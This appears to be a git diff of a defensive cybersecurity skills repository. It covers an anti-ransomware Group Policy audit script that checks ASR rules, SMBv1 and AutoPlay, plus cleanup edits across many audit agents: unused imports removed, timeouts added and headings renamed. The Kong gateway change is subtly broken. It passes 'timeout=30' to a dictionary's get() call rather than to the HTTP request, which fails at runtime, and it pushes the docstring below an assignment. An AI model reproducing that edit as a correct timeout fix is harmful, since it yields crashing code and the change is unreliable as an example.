+ "priority": "Critical", + }, + "asr_rules": { + "description": "Attack Surface Reduction rules are configured", + "check_command": ["powershell", "-Command", + "(Get-MpPreference).AttackSurfaceReductionRules_Ids"], + "priority": "High", + }, + "asr_actions": { + "description": "ASR rule actions (0=Disabled,1=Block,2=Audit,6=Warn)", + "check_command": ["powershell", "-Command", + "(Get-MpPreference).AttackSurfaceReductionRules_Actions"], + "priority": "High", + }, + "smbv1_disabled": { + "description": "SMBv1 protocol is disabled", + "check_command": ["powershell", "-Command", + "(Get-SmbServerConfiguration).EnableSMB1Protocol"], + "priority": "Critical", + }, + "autoplay_disabled": { + "description": "AutoPlay is disabled", + "check_command": ["powershell", "-Command", + "Get-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows" + "\\CurrentVersion\\Policies\\Explorer' -Name NoDriveTypeAutoRun " + "-ErrorAction SilentlyContinue | Select-Object -ExpandProperty NoDriveTypeAutoRun"], + "priority": "Medium", + }, +} + + +def run_check(check_name, check_info): + """Run a single GPO compliance check.""" + result = { + "check": check_name, + "description": check_info["description"], + "priority": check_info["priority"], + "status": "unknown", + "output": "", + } + + try: + proc = subprocess.run( + check_info["check_command"], + capture_output=True, text=True, timeout=30, + ) + output = proc.stdout.strip() + result["output"] = output + result["return_code"] = proc.returncode + + if proc.returncode != 0: + result["status"] = "error" + result["error"] = proc.stderr.strip() + elif output: + result["status"] = "data_retrieved" + else: + result["status"] = "empty_response" + + except FileNotFoundError: + result["status"] = "not_available" + result["error"] = "PowerShell not found or command not available" + except subprocess.TimeoutExpired: + result["status"] = "timeout" + result["error"] = "Check timed out after 30 seconds" + + return result + + +def assess_asr_compliance(asr_ids_output, asr_actions_output): + """Assess ASR rule compliance against recommended baseline.""" + active_ids = [line.strip() for line in asr_ids_output.split("\n") if line.strip()] + active_actions = [line.strip() for line in asr_actions_output.split("\n") if line.strip()] + + assessment = {"total_recommended": len(ASR_RULES), "enabled": 0, + "blocking": 0, "audit_only": 0, "missing": [], "details": []} + + id_action_map = {} + for i, rule_id in enumerate(active_ids): + action = active_actions[i] if i < len(active_actions) else "0" + id_action_map[rule_id.upper()] = action + + for rule_id, rule_info in ASR_RULES.items(): + action = id_action_map.get(rule_id.upper(), None) + if action is None: + assessment["missing"].append({"id": rule_id, "name": rule_info["name"]}) + status = "NOT CONFIGURED" + elif action == "1": + assessment["enabled"] += 1 + assessment["blocking"] += 1 + status = "BLOCK" + elif action == "2": + assessment["enabled"] += 1 + assessment["audit_only"] += 1 + status = "AUDIT" + elif action == "6": + assessment["enabled"] += 1 + status = "WARN" + else: + status = "DISABLED" + + assessment["details"].append({ + "id": rule_id, + "name": rule_info["name"], + "category": rule_info["category"], + "status": status, + "recommended": rule_info["recommended"], + }) + + assessment["compliance_pct"] = round( + (assessment["blocking"] / assessment["total_recommended"]) * 100, 1 + ) + return assessment + + +def generate_gpo_report(): + """Generate a full GPO anti-ransomware compliance report.""" + report = { + "title": "Anti-Ransomware Group Policy Compliance Report", + "generated": datetime.now().isoformat(), + "hostname": os.environ.get("COMPUTERNAME", "unknown"), + "checks": {}, + "overall_score": 0, + } + + print("[*] Running GPO compliance checks...") + for check_name, check_info in GPO_CHECKS.items(): + print(f" Checking: {check_info['description']}...") + result = run_check(check_name, check_info) + report["checks"][check_name] = result + + # ASR compliance assessment + asr_ids = report["checks"].get("asr_rules", {}).get("output", "") + asr_actions = report["checks"].get("asr_actions", {}).get("output", "") + if asr_ids: + report["asr_assessment"] = assess_asr_compliance(asr_ids, asr_actions) + + # Calculate overall score + score = 0 + total = len(GPO_CHECKS) + for check_name, result in report["checks"].items(): + if result["status"] == "data_retrieved" and result.get("output"): + score += 1 + report["overall_score"] = round((score / total) * 100, 1) + + return report + + +def generate_remediation_script(report): + """Generate PowerShell remediation commands for failed checks.""" + lines = [ + "# Anti-Ransomware GPO Remediation Script", + "# Generated: " + datetime.now().isoformat(), + "# Run as Administrator in elevated PowerShell", + "", + ] + + cfa = report.get("checks", {}).get("cfa_enabled", {}) + if cfa.get("output", "").strip() != "1": + lines.append("# Enable Controlled Folder Access") + lines.append("Set-MpPreference -EnableControlledFolderAccess Enabled") + lines.append("") + + smbv1 = report.get("checks", {}).get("smbv1_disabled", {}) + if smbv1.get("output", "").strip().lower() == "true": + lines.append("# Disable SMBv1") + lines.append("Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force") + lines.append("") + + asr = report.get("asr_assessment", {}) + for rule in asr.get("details", []): + if rule["status"] in ("NOT CONFIGURED", "DISABLED", "AUDIT"): + lines.append(f"# Enable ASR rule: {rule['name']}") + lines.append(f"Add-MpPreference -AttackSurfaceReductionRules_Ids {rule['id']} " + f"-AttackSurfaceReductionRules_Actions Enabled") + lines.append("") + + lines.append("# Disable AutoPlay") + lines.append('Set-ItemProperty -Path "HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion' + '\\Policies\\Explorer" -Name NoDriveTypeAutoRun -Value 255') + + return "\n".join(lines) + + +if __name__ == "__main__": + print("=" * 60) + print("Anti-Ransomware Group Policy Audit Agent") + print("AppLocker, CFA, ASR rules, network restrictions") + print("=" * 60) + + if len(sys.argv) < 2: + print("\nUsage:") + print(" python agent.py audit Run full GPO compliance audit") + print(" python agent.py asr Check ASR rule status only") + print(" python agent.py remediate Generate remediation script") + print(" python agent.py baseline Show recommended baseline") + sys.exit(0) + + command = sys.argv[1] + + if command == "audit": + report = generate_gpo_report() + print(f"\n--- GPO Compliance Report ---") + print(f" Hostname: {report['hostname']}") + print(f" Overall Score: {report['overall_score']}%") + for name, result in report["checks"].items(): + status = result["status"] + icon = "[+]" if status == "data_retrieved" else "[!]" + print(f" {icon} {result['description']}: {status}") + output_file = "gpo_audit_report.json" + with open(output_file, "w") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Full report saved to: {output_file}") + + elif command == "asr": + print("\n--- Recommended ASR Rules for Ransomware Prevention ---") + for rule_id, rule in ASR_RULES.items(): + print(f" [{rule['category']:20s}] {rule['name']}") + print(f" GUID: {rule_id}") + print(f" Recommended: {rule['recommended']}") + + elif command == "remediate": + report = generate_gpo_report() + script = generate_remediation_script(report) + output_file = "remediate_ransomware_gpo.ps1" + with open(output_file, "w") as f: + f.write(script) + print(f"\n[+] Remediation script saved to: {output_file}") + print(f"\n{script}") + + elif command == "baseline": + print("\n--- Recommended Anti-Ransomware GPO Baseline ---") + print("\nAppLocker Deny Paths:") + for path in APPLOCKER_DENY_PATHS: + print(f" DENY: {path}") + print(f"\nASR Rules ({len(ASR_RULES)} recommended):") + for rule_id, rule in ASR_RULES.items(): + print(f" {rule_id}: {rule['name']}") + print(f"\nControlled Folder Access Protected Folders:") + for folder in CFA_RECOMMENDED_FOLDERS: + print(f" {folder}") + + else: + print(f"[!] Unknown command: {command}") diff --git a/skills/implementing-api-abuse-detection-with-rate-limiting/scripts/agent.py b/skills/implementing-api-abuse-detection-with-rate-limiting/scripts/agent.py index dc70c28b..55aecf8b 100644 --- a/skills/implementing-api-abuse-detection-with-rate-limiting/scripts/agent.py +++ b/skills/implementing-api-abuse-detection-with-rate-limiting/scripts/agent.py @@ -3,10 +3,8 @@ import json import argparse -import re from datetime import datetime from collections import defaultdict, Counter -from pathlib import Path def load_access_logs(log_path): diff --git a/skills/implementing-api-gateway-security-controls/scripts/agent.py b/skills/implementing-api-gateway-security-controls/scripts/agent.py index 8fa423a9..bc8c9d0d 100644 --- a/skills/implementing-api-gateway-security-controls/scripts/agent.py +++ b/skills/implementing-api-gateway-security-controls/scripts/agent.py @@ -3,6 +3,7 @@ import json import argparse +import os from datetime import datetime try: @@ -61,14 +62,15 @@ def audit_aws_api_gateway(region="us-east-1"): return findings -def audit_kong_gateway(admin_url="http://localhost:8001"): +def audit_kong_gateway(admin_url=None): + admin_url = admin_url or os.environ.get("KONG_ADMIN_URL", "http://localhost:8001") """Audit Kong API Gateway plugin configurations.""" findings = [] - services = requests.get(f"{admin_url}/services").json().get("data", []) + services = requests.get(f"{admin_url}/services").json().get("data", [], timeout=30) for svc in services: svc_id = svc["id"] svc_name = svc.get("name", svc_id) - plugins = requests.get(f"{admin_url}/services/{svc_id}/plugins").json().get("data", []) + plugins = requests.get(f"{admin_url}/services/{svc_id}/plugins").json().get("data", [], timeout=30) plugin_names = {p["name"] for p in plugins} if "key-auth" not in plugin_names and "jwt" not in plugin_names and "oauth2" not in plugin_names: findings.append({ @@ -127,7 +129,7 @@ def analyze_gateway_logs(log_path): def main(): parser = argparse.ArgumentParser(description="API Gateway Security Audit Agent") parser.add_argument("--action", choices=["aws", "kong", "logs", "full"], default="full") - parser.add_argument("--kong-url", default="http://localhost:8001") + parser.add_argument("--kong-url", default=os.environ.get("KONG_ADMIN_URL", "http://localhost:8001")) parser.add_argument("--region", default="us-east-1") parser.add_argument("--log", help="Gateway access log (JSON lines)") parser.add_argument("--output", default="api_gateway_audit_report.json") diff --git a/skills/implementing-api-key-security-controls/scripts/agent.py b/skills/implementing-api-key-security-controls/scripts/agent.py index 6d6fa77d..154d4868 100644 --- a/skills/implementing-api-key-security-controls/scripts/agent.py +++ b/skills/implementing-api-key-security-controls/scripts/agent.py @@ -6,8 +6,7 @@ import argparse import hashlib import secrets import re -from datetime import datetime, timedelta -from pathlib import Path +from datetime import datetime def generate_api_key(prefix="sk", length=32): diff --git a/skills/implementing-api-schema-validation-security/scripts/agent.py b/skills/implementing-api-schema-validation-security/scripts/agent.py index 0e923f5a..430531d6 100644 --- a/skills/implementing-api-schema-validation-security/scripts/agent.py +++ b/skills/implementing-api-schema-validation-security/scripts/agent.py @@ -3,9 +3,7 @@ import json import argparse -import re from datetime import datetime -from pathlib import Path try: import yaml diff --git a/skills/implementing-api-security-posture-management/scripts/agent.py b/skills/implementing-api-security-posture-management/scripts/agent.py index 48dc45b9..f331b555 100644 --- a/skills/implementing-api-security-posture-management/scripts/agent.py +++ b/skills/implementing-api-security-posture-management/scripts/agent.py @@ -6,7 +6,6 @@ import argparse import re from datetime import datetime from collections import Counter, defaultdict -from pathlib import Path def discover_apis_from_traffic(log_path): diff --git a/skills/implementing-api-security-testing-with-42crunch/scripts/agent.py b/skills/implementing-api-security-testing-with-42crunch/scripts/agent.py index bedefe94..316fcf57 100644 --- a/skills/implementing-api-security-testing-with-42crunch/scripts/agent.py +++ b/skills/implementing-api-security-testing-with-42crunch/scripts/agent.py @@ -3,9 +3,7 @@ import json import argparse -import re from datetime import datetime -from pathlib import Path try: import yaml diff --git a/skills/implementing-application-whitelisting-with-applocker/scripts/agent.py b/skills/implementing-application-whitelisting-with-applocker/scripts/agent.py index b8e148e1..de3f4b55 100644 --- a/skills/implementing-application-whitelisting-with-applocker/scripts/agent.py +++ b/skills/implementing-application-whitelisting-with-applocker/scripts/agent.py @@ -4,7 +4,6 @@ import json import argparse import re -import subprocess import xml.etree.ElementTree as ET from datetime import datetime from pathlib import Path diff --git a/skills/implementing-aqua-security-for-container-scanning/scripts/agent.py b/skills/implementing-aqua-security-for-container-scanning/scripts/agent.py index 14e2ea21..0671bb45 100644 --- a/skills/implementing-aqua-security-for-container-scanning/scripts/agent.py +++ b/skills/implementing-aqua-security-for-container-scanning/scripts/agent.py @@ -8,7 +8,7 @@ import os import subprocess import sys from datetime import datetime -from typing import Dict, List, Optional +from typing import List logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") logger = logging.getLogger(__name__) diff --git a/skills/implementing-attack-path-analysis-with-xm-cyber/SKILL.md b/skills/implementing-attack-path-analysis-with-xm-cyber/SKILL.md index da88aee9..49ae5296 100644 --- a/skills/implementing-attack-path-analysis-with-xm-cyber/SKILL.md +++ b/skills/implementing-attack-path-analysis-with-xm-cyber/SKILL.md @@ -70,7 +70,7 @@ Attack Path 3: Workstation -> Mimikatz -> Cached Creds | Software Vulnerabilities | 8% | Unpatched CVEs, outdated software | | Cloud Exposures | 2% | IAM misconfig, public storage, overly permissive roles | -## Implementation Steps +## Workflow ### Step 1: Define Critical Assets (Business Context) diff --git a/skills/implementing-attack-path-analysis-with-xm-cyber/scripts/agent.py b/skills/implementing-attack-path-analysis-with-xm-cyber/scripts/agent.py index d4eb1d94..1e296fdd 100644 --- a/skills/implementing-attack-path-analysis-with-xm-cyber/scripts/agent.py +++ b/skills/implementing-attack-path-analysis-with-xm-cyber/scripts/agent.py @@ -7,7 +7,7 @@ import logging import os import sys from datetime import datetime -from typing import Dict, List, Optional +from typing import List try: import requests diff --git a/skills/implementing-aws-iam-permission-boundaries/SKILL.md b/skills/implementing-aws-iam-permission-boundaries/SKILL.md index 29ed5366..259469f3 100644 --- a/skills/implementing-aws-iam-permission-boundaries/SKILL.md +++ b/skills/implementing-aws-iam-permission-boundaries/SKILL.md @@ -56,7 +56,7 @@ The entity can only perform an action if ALL applicable policy types allow it. | Multi-Tenant Workloads | Ensure tenant-specific roles cannot access other tenants' resources | | CI/CD Pipeline Roles | Restrict automation roles to specific services | -## Implementation Steps +## Workflow ### Step 1: Define the Permission Boundary Policy diff --git a/skills/implementing-aws-iam-permission-boundaries/scripts/agent.py b/skills/implementing-aws-iam-permission-boundaries/scripts/agent.py index 3ff5eb67..9696340f 100644 --- a/skills/implementing-aws-iam-permission-boundaries/scripts/agent.py +++ b/skills/implementing-aws-iam-permission-boundaries/scripts/agent.py @@ -7,7 +7,7 @@ import logging import os import sys from datetime import datetime -from typing import Dict, List, Optional +from typing import List try: import boto3 diff --git a/skills/implementing-aws-macie-for-data-classification/scripts/agent.py b/skills/implementing-aws-macie-for-data-classification/scripts/agent.py index 0f7cd0f7..fb2f8169 100644 --- a/skills/implementing-aws-macie-for-data-classification/scripts/agent.py +++ b/skills/implementing-aws-macie-for-data-classification/scripts/agent.py @@ -7,7 +7,7 @@ import logging import os import sys from datetime import datetime -from typing import Dict, List, Optional +from typing import List try: import boto3 diff --git a/skills/implementing-azure-ad-privileged-identity-management/SKILL.md b/skills/implementing-azure-ad-privileged-identity-management/SKILL.md index 07423ac4..6baced2e 100644 --- a/skills/implementing-azure-ad-privileged-identity-management/SKILL.md +++ b/skills/implementing-azure-ad-privileged-identity-management/SKILL.md @@ -62,7 +62,7 @@ User with Eligible Assignment 2. **Azure Resource Roles**: Owner, Contributor, User Access Administrator on subscriptions/resource groups 3. **PIM for Groups**: Manage membership in privileged security groups -## Implementation Steps +## Workflow ### Step 1: Plan Role Assignments diff --git a/skills/implementing-azure-ad-privileged-identity-management/scripts/agent.py b/skills/implementing-azure-ad-privileged-identity-management/scripts/agent.py index 04ce8843..3596685b 100644 --- a/skills/implementing-azure-ad-privileged-identity-management/scripts/agent.py +++ b/skills/implementing-azure-ad-privileged-identity-management/scripts/agent.py @@ -7,7 +7,7 @@ import logging import os import sys from datetime import datetime -from typing import Dict, List, Optional +from typing import List try: import requests diff --git a/skills/implementing-beyondcorp-zero-trust-access-model/scripts/agent.py b/skills/implementing-beyondcorp-zero-trust-access-model/scripts/agent.py index aa38e608..73ca488b 100644 --- a/skills/implementing-beyondcorp-zero-trust-access-model/scripts/agent.py +++ b/skills/implementing-beyondcorp-zero-trust-access-model/scripts/agent.py @@ -8,7 +8,7 @@ import os import subprocess import sys from datetime import datetime -from typing import Dict, List, Optional +from typing import List try: import requests diff --git a/skills/implementing-bgp-security-with-rpki/SKILL.md b/skills/implementing-bgp-security-with-rpki/SKILL.md index 72490f09..78a8106a 100644 --- a/skills/implementing-bgp-security-with-rpki/SKILL.md +++ b/skills/implementing-bgp-security-with-rpki/SKILL.md @@ -75,7 +75,7 @@ A ROA is a signed object that states: - **Origin AS**: The AS authorized to originate this prefix (e.g., AS64512) - **Max Length**: Maximum prefix length that can be announced (e.g., /24) -## Implementation Steps +## Workflow ### Step 1: Create ROAs at Your RIR diff --git a/skills/implementing-bgp-security-with-rpki/scripts/agent.py b/skills/implementing-bgp-security-with-rpki/scripts/agent.py index e1eadf74..0b576e67 100644 --- a/skills/implementing-bgp-security-with-rpki/scripts/agent.py +++ b/skills/implementing-bgp-security-with-rpki/scripts/agent.py @@ -7,7 +7,7 @@ import logging import os import sys from datetime import datetime -from typing import Dict, List, Optional +from typing import List try: import requests diff --git a/skills/implementing-cisa-zero-trust-maturity-model/scripts/agent.py b/skills/implementing-cisa-zero-trust-maturity-model/scripts/agent.py index 57a60719..89fda2ba 100644 --- a/skills/implementing-cisa-zero-trust-maturity-model/scripts/agent.py +++ b/skills/implementing-cisa-zero-trust-maturity-model/scripts/agent.py @@ -5,7 +5,6 @@ import argparse import json import logging import os -import sys from datetime import datetime from typing import Dict, List diff --git a/skills/implementing-cloud-dlp-for-data-protection/scripts/agent.py b/skills/implementing-cloud-dlp-for-data-protection/scripts/agent.py index 0de76cbd..e92cd04d 100644 --- a/skills/implementing-cloud-dlp-for-data-protection/scripts/agent.py +++ b/skills/implementing-cloud-dlp-for-data-protection/scripts/agent.py @@ -2,7 +2,6 @@ """Cloud DLP agent for sensitive data discovery using Google Cloud DLP and AWS Macie.""" import json -import sys import argparse from datetime import datetime diff --git a/skills/implementing-cloud-security-posture-management/scripts/agent.py b/skills/implementing-cloud-security-posture-management/scripts/agent.py index e50fa294..80046813 100644 --- a/skills/implementing-cloud-security-posture-management/scripts/agent.py +++ b/skills/implementing-cloud-security-posture-management/scripts/agent.py @@ -2,7 +2,6 @@ """Cloud Security Posture Management (CSPM) agent across AWS, Azure, and GCP.""" import json -import sys import argparse import subprocess from datetime import datetime diff --git a/skills/implementing-cloud-vulnerability-posture-management/scripts/agent.py b/skills/implementing-cloud-vulnerability-posture-management/scripts/agent.py index 3ec7a0c9..8d3dd517 100644 --- a/skills/implementing-cloud-vulnerability-posture-management/scripts/agent.py +++ b/skills/implementing-cloud-vulnerability-posture-management/scripts/agent.py @@ -8,7 +8,7 @@ import os import subprocess import sys from datetime import datetime -from typing import Dict, List, Optional +from typing import List try: import boto3 diff --git a/skills/implementing-code-signing-for-artifacts/scripts/agent.py b/skills/implementing-code-signing-for-artifacts/scripts/agent.py index 7164638b..8c81672c 100644 --- a/skills/implementing-code-signing-for-artifacts/scripts/agent.py +++ b/skills/implementing-code-signing-for-artifacts/scripts/agent.py @@ -9,12 +9,11 @@ import os import subprocess import sys from datetime import datetime -from typing import Dict, List, Optional +from typing import List try: from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey - from cryptography.hazmat.primitives import hashes, serialization - from cryptography.hazmat.primitives.asymmetric import padding, rsa + from cryptography.hazmat.primitives import serialization from cryptography.exceptions import InvalidSignature except ImportError: sys.exit("cryptography required: pip install cryptography") diff --git a/skills/implementing-conditional-access-policies-azure-ad/scripts/agent.py b/skills/implementing-conditional-access-policies-azure-ad/scripts/agent.py index 1aa2e0d5..86480ab4 100644 --- a/skills/implementing-conditional-access-policies-azure-ad/scripts/agent.py +++ b/skills/implementing-conditional-access-policies-azure-ad/scripts/agent.py @@ -7,7 +7,7 @@ import logging import os import sys from datetime import datetime -from typing import Dict, List +from typing import List try: import requests diff --git a/skills/implementing-conduit-security-for-ot-remote-access/scripts/agent.py b/skills/implementing-conduit-security-for-ot-remote-access/scripts/agent.py index 5307b98d..db4e0c33 100644 --- a/skills/implementing-conduit-security-for-ot-remote-access/scripts/agent.py +++ b/skills/implementing-conduit-security-for-ot-remote-access/scripts/agent.py @@ -6,7 +6,6 @@ import json import logging import os import socket -import sys from datetime import datetime from typing import Dict, List diff --git a/skills/implementing-container-image-minimal-base-with-distroless/scripts/agent.py b/skills/implementing-container-image-minimal-base-with-distroless/scripts/agent.py index 0375fe5c..1e4e8d68 100644 --- a/skills/implementing-container-image-minimal-base-with-distroless/scripts/agent.py +++ b/skills/implementing-container-image-minimal-base-with-distroless/scripts/agent.py @@ -6,7 +6,6 @@ import json import logging import os import subprocess -import sys from datetime import datetime from typing import Dict, List diff --git a/skills/implementing-continuous-security-validation-with-bas/SKILL.md b/skills/implementing-continuous-security-validation-with-bas/SKILL.md index 58cff2f2..5aa6a55a 100644 --- a/skills/implementing-continuous-security-validation-with-bas/SKILL.md +++ b/skills/implementing-continuous-security-validation-with-bas/SKILL.md @@ -68,7 +68,7 @@ Example: Gap Rate: 50/500 = 10% ``` -## Implementation Steps +## Workflow ### Step 1: Deploy BAS Platform Components diff --git a/skills/implementing-continuous-security-validation-with-bas/scripts/agent.py b/skills/implementing-continuous-security-validation-with-bas/scripts/agent.py index 731bfed7..d26757bb 100644 --- a/skills/implementing-continuous-security-validation-with-bas/scripts/agent.py +++ b/skills/implementing-continuous-security-validation-with-bas/scripts/agent.py @@ -7,7 +7,7 @@ import logging import os import sys from datetime import datetime -from typing import Dict, List, Optional +from typing import List try: import requests diff --git a/skills/implementing-ddos-mitigation-with-cloudflare/SKILL.md b/skills/implementing-ddos-mitigation-with-cloudflare/SKILL.md index 82a1ce09..d565703e 100644 --- a/skills/implementing-ddos-mitigation-with-cloudflare/SKILL.md +++ b/skills/implementing-ddos-mitigation-with-cloudflare/SKILL.md @@ -66,7 +66,7 @@ Internet Traffic Origin Server ``` -## Implementation Steps +## Workflow ### Step 1: Onboard Domain to Cloudflare diff --git a/skills/implementing-ddos-mitigation-with-cloudflare/scripts/agent.py b/skills/implementing-ddos-mitigation-with-cloudflare/scripts/agent.py index f76f31c6..edb8e6b5 100644 --- a/skills/implementing-ddos-mitigation-with-cloudflare/scripts/agent.py +++ b/skills/implementing-ddos-mitigation-with-cloudflare/scripts/agent.py @@ -7,7 +7,7 @@ import logging import os import sys from datetime import datetime -from typing import Dict, List +from typing import List try: import requests diff --git a/skills/implementing-delinea-secret-server-for-pam/scripts/agent.py b/skills/implementing-delinea-secret-server-for-pam/scripts/agent.py index 7cd52858..a0a3bbf9 100644 --- a/skills/implementing-delinea-secret-server-for-pam/scripts/agent.py +++ b/skills/implementing-delinea-secret-server-for-pam/scripts/agent.py @@ -28,7 +28,7 @@ class SecretServerClient: data = {"grant_type": "password", "username": username, "password": password} if domain: data["domain"] = domain - resp = self.session.post(url, data=data) + resp = self.session.post(url, data=data, timeout=30) resp.raise_for_status() return resp.json()["access_token"] @@ -41,13 +41,13 @@ class SecretServerClient: params["filter.folderId"] = folder_id if secret_template_id: params["filter.secretTemplateId"] = secret_template_id - resp = self.session.get(f"{self.base_url}/api/v1/secrets", params=params) + resp = self.session.get(f"{self.base_url}/api/v1/secrets", params=params, timeout=30) resp.raise_for_status() return resp.json().get("records", []) def get_secret(self, secret_id): """Retrieve a secret by ID.""" - resp = self.session.get(f"{self.base_url}/api/v1/secrets/{secret_id}") + resp = self.session.get(f"{self.base_url}/api/v1/secrets/{secret_id}", timeout=30) resp.raise_for_status() return resp.json() @@ -56,13 +56,13 @@ class SecretServerClient: items = [{"fieldId": fid, "itemValue": val} for fid, val in fields.items()] data = {"name": name, "secretTemplateId": template_id, "folderId": folder_id, "items": items} - resp = self.session.post(f"{self.base_url}/api/v1/secrets", json=data) + resp = self.session.post(f"{self.base_url}/api/v1/secrets", json=data, timeout=30) resp.raise_for_status() return resp.json() def get_secret_templates(self): """List available secret templates.""" - resp = self.session.get(f"{self.base_url}/api/v1/secret-templates") + resp = self.session.get(f"{self.base_url}/api/v1/secret-templates", timeout=30) resp.raise_for_status() return resp.json().get("records", []) @@ -71,46 +71,46 @@ class SecretServerClient: params = {} if parent_id: params["filter.parentFolderId"] = parent_id - resp = self.session.get(f"{self.base_url}/api/v1/folders", params=params) + resp = self.session.get(f"{self.base_url}/api/v1/folders", params=params, timeout=30) resp.raise_for_status() return resp.json().get("records", []) def rotate_secret_password(self, secret_id): """Trigger password rotation for a secret (Remote Password Changing).""" resp = self.session.post( - f"{self.base_url}/api/v1/secrets/{secret_id}/change-password") + f"{self.base_url}/api/v1/secrets/{secret_id}/change-password", timeout=30) resp.raise_for_status() return resp.json() def get_secret_audit(self, secret_id): """Get audit trail for a specific secret.""" - resp = self.session.get(f"{self.base_url}/api/v1/secrets/{secret_id}/audits") + resp = self.session.get(f"{self.base_url}/api/v1/secrets/{secret_id}/audits", timeout=30) resp.raise_for_status() return resp.json().get("records", []) def checkout_secret(self, secret_id): """Check out a secret for exclusive access.""" resp = self.session.post( - f"{self.base_url}/api/v1/secrets/{secret_id}/check-out") + f"{self.base_url}/api/v1/secrets/{secret_id}/check-out", timeout=30) resp.raise_for_status() return resp.json() def checkin_secret(self, secret_id): """Check in a previously checked-out secret.""" resp = self.session.post( - f"{self.base_url}/api/v1/secrets/{secret_id}/check-in") + f"{self.base_url}/api/v1/secrets/{secret_id}/check-in", timeout=30) resp.raise_for_status() return resp.json() def get_users(self): """List all users.""" - resp = self.session.get(f"{self.base_url}/api/v1/users") + resp = self.session.get(f"{self.base_url}/api/v1/users", timeout=30) resp.raise_for_status() return resp.json().get("records", []) def get_roles(self): """List all roles.""" - resp = self.session.get(f"{self.base_url}/api/v1/roles") + resp = self.session.get(f"{self.base_url}/api/v1/roles", timeout=30) resp.raise_for_status() return resp.json().get("records", []) diff --git a/skills/implementing-device-posture-assessment-in-zero-trust/scripts/agent.py b/skills/implementing-device-posture-assessment-in-zero-trust/scripts/agent.py index 687e3e64..96d6ca32 100644 --- a/skills/implementing-device-posture-assessment-in-zero-trust/scripts/agent.py +++ b/skills/implementing-device-posture-assessment-in-zero-trust/scripts/agent.py @@ -7,9 +7,7 @@ import logging import os import platform import subprocess -import sys from datetime import datetime -from typing import Dict, List logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") logger = logging.getLogger(__name__) diff --git a/skills/implementing-devsecops-security-scanning/scripts/agent.py b/skills/implementing-devsecops-security-scanning/scripts/agent.py index 60683d66..031c1171 100644 --- a/skills/implementing-devsecops-security-scanning/scripts/agent.py +++ b/skills/implementing-devsecops-security-scanning/scripts/agent.py @@ -7,7 +7,6 @@ scans via subprocess, aggregates findings, and enforces severity gates. import argparse import json -import os import subprocess import sys import datetime diff --git a/skills/implementing-diamond-model-analysis/SKILL.md b/skills/implementing-diamond-model-analysis/SKILL.md index c7f635bc..a497cccb 100644 --- a/skills/implementing-diamond-model-analysis/SKILL.md +++ b/skills/implementing-diamond-model-analysis/SKILL.md @@ -1,6 +1,10 @@ --- name: implementing-diamond-model-analysis -description: The Diamond Model of Intrusion Analysis provides a structured framework for analyzing cyber intrusions by examining four core features: Adversary, Capability, Infrastructure, and Victim. This skill co +description: >- + The Diamond Model of Intrusion Analysis provides a structured framework for analyzing + cyber intrusions by examining four core features - Adversary, Capability, Infrastructure, + and Victim. This skill covers implementing the Diamond Model programmatically to classify + and correlate intrusion events, build activity threads, and generate pivot-ready intelligence. domain: cybersecurity subdomain: threat-intelligence tags: [threat-intelligence, cti, ioc, mitre-attack, stix, diamond-model, intrusion-analysis] @@ -41,7 +45,7 @@ The Diamond Model of Intrusion Analysis provides a structured framework for anal - **Activity Thread**: Sequence of Diamond events from a single adversary operation - **Activity Group**: Cluster of threads attributed to the same adversary -## Practical Steps +## Workflow ### Step 1: Define Diamond Event Data Structure diff --git a/skills/implementing-diamond-model-analysis/scripts/agent.py b/skills/implementing-diamond-model-analysis/scripts/agent.py index d3b2a281..a4b1481e 100644 --- a/skills/implementing-diamond-model-analysis/scripts/agent.py +++ b/skills/implementing-diamond-model-analysis/scripts/agent.py @@ -5,11 +5,10 @@ import argparse import json import logging import os -import sys import uuid from dataclasses import asdict, dataclass, field from datetime import datetime -from typing import Dict, List, Optional +from typing import Dict, List logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") logger = logging.getLogger(__name__) diff --git a/skills/implementing-digital-signatures-with-ed25519/scripts/agent.py b/skills/implementing-digital-signatures-with-ed25519/scripts/agent.py index e4fe58c5..282893d4 100644 --- a/skills/implementing-digital-signatures-with-ed25519/scripts/agent.py +++ b/skills/implementing-digital-signatures-with-ed25519/scripts/agent.py @@ -9,7 +9,7 @@ import logging import os import sys from datetime import datetime -from typing import Dict, List +from typing import List try: from cryptography.hazmat.primitives.asymmetric.ed25519 import ( diff --git a/skills/implementing-disk-encryption-with-bitlocker/scripts/agent.py b/skills/implementing-disk-encryption-with-bitlocker/scripts/agent.py index 3da29b73..3b59770b 100644 --- a/skills/implementing-disk-encryption-with-bitlocker/scripts/agent.py +++ b/skills/implementing-disk-encryption-with-bitlocker/scripts/agent.py @@ -4,9 +4,7 @@ import json import argparse import subprocess -import re from datetime import datetime -from pathlib import Path def get_bitlocker_status(): diff --git a/skills/implementing-dmarc-dkim-spf-email-security/SKILL.md b/skills/implementing-dmarc-dkim-spf-email-security/SKILL.md index 66b75543..daf918c5 100644 --- a/skills/implementing-dmarc-dkim-spf-email-security/SKILL.md +++ b/skills/implementing-dmarc-dkim-spf-email-security/SKILL.md @@ -30,7 +30,7 @@ Adds a cryptographic signature to outgoing emails using a private key. The corre ### DMARC (Domain-based Message Authentication, Reporting and Conformance) Builds on SPF and DKIM by specifying a policy (none/quarantine/reject) for messages that fail authentication, and provides a reporting mechanism to monitor spoofing attempts. -## Implementation Steps +## Workflow ### Step 1: Audit Current State ```bash diff --git a/skills/implementing-dmarc-dkim-spf-email-security/scripts/agent.py b/skills/implementing-dmarc-dkim-spf-email-security/scripts/agent.py index 9a94180f..8a09d144 100644 --- a/skills/implementing-dmarc-dkim-spf-email-security/scripts/agent.py +++ b/skills/implementing-dmarc-dkim-spf-email-security/scripts/agent.py @@ -3,7 +3,6 @@ import json import argparse -import subprocess import re from datetime import datetime diff --git a/skills/implementing-email-sandboxing-with-proofpoint/SKILL.md b/skills/implementing-email-sandboxing-with-proofpoint/SKILL.md index 09bece1e..9e20f973 100644 --- a/skills/implementing-email-sandboxing-with-proofpoint/SKILL.md +++ b/skills/implementing-email-sandboxing-with-proofpoint/SKILL.md @@ -37,7 +37,7 @@ Email sandboxing detonates suspicious attachments and URLs in isolated environme - 